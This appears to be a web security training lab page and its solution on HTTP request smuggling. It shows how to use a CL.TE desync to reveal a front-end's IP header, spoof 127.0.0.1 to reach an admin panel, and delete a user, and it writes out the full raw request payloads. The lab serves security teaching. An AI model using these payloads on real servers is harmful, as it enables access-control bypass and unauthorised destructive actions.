Lab: Exploiting HTTP request smuggling to reveal front-end request rewriting

PRACTITIONER

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

There's an admin panel at /admin, but it's only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It's similar to the X-Forwarded-For header but has a different name.

To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.

Note

Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the Request attributes section of the Inspector panel.

Tip

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

Access the lab

Solution

Browse to /admin and observe that the admin panel can only be loaded from 127.0.0.1.
Use the site's search function and observe that it reflects the value of the search parameter.
Use Burp Repeater to issue the following request twice.
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 124 Transfer-Encoding: chunked 0 POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close search=test
The second response should contain "Search results for" followed by the start of a rewritten HTTP request.
Make a note of the name of the X-*-IP header in the rewritten request, and use it to access the admin panel:
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 143 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 X-abcdef-Ip: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close x=1
Using the previous response as a reference, change the smuggled request URL to delete the user carlos:
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 166 Transfer-Encoding: chunked 0 GET /admin/delete?username=carlos HTTP/1.1 X-abcdef-Ip: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close x=1

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Michael Sommer

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Lab: Exploiting HTTP request smuggling to reveal front-end request rewriting

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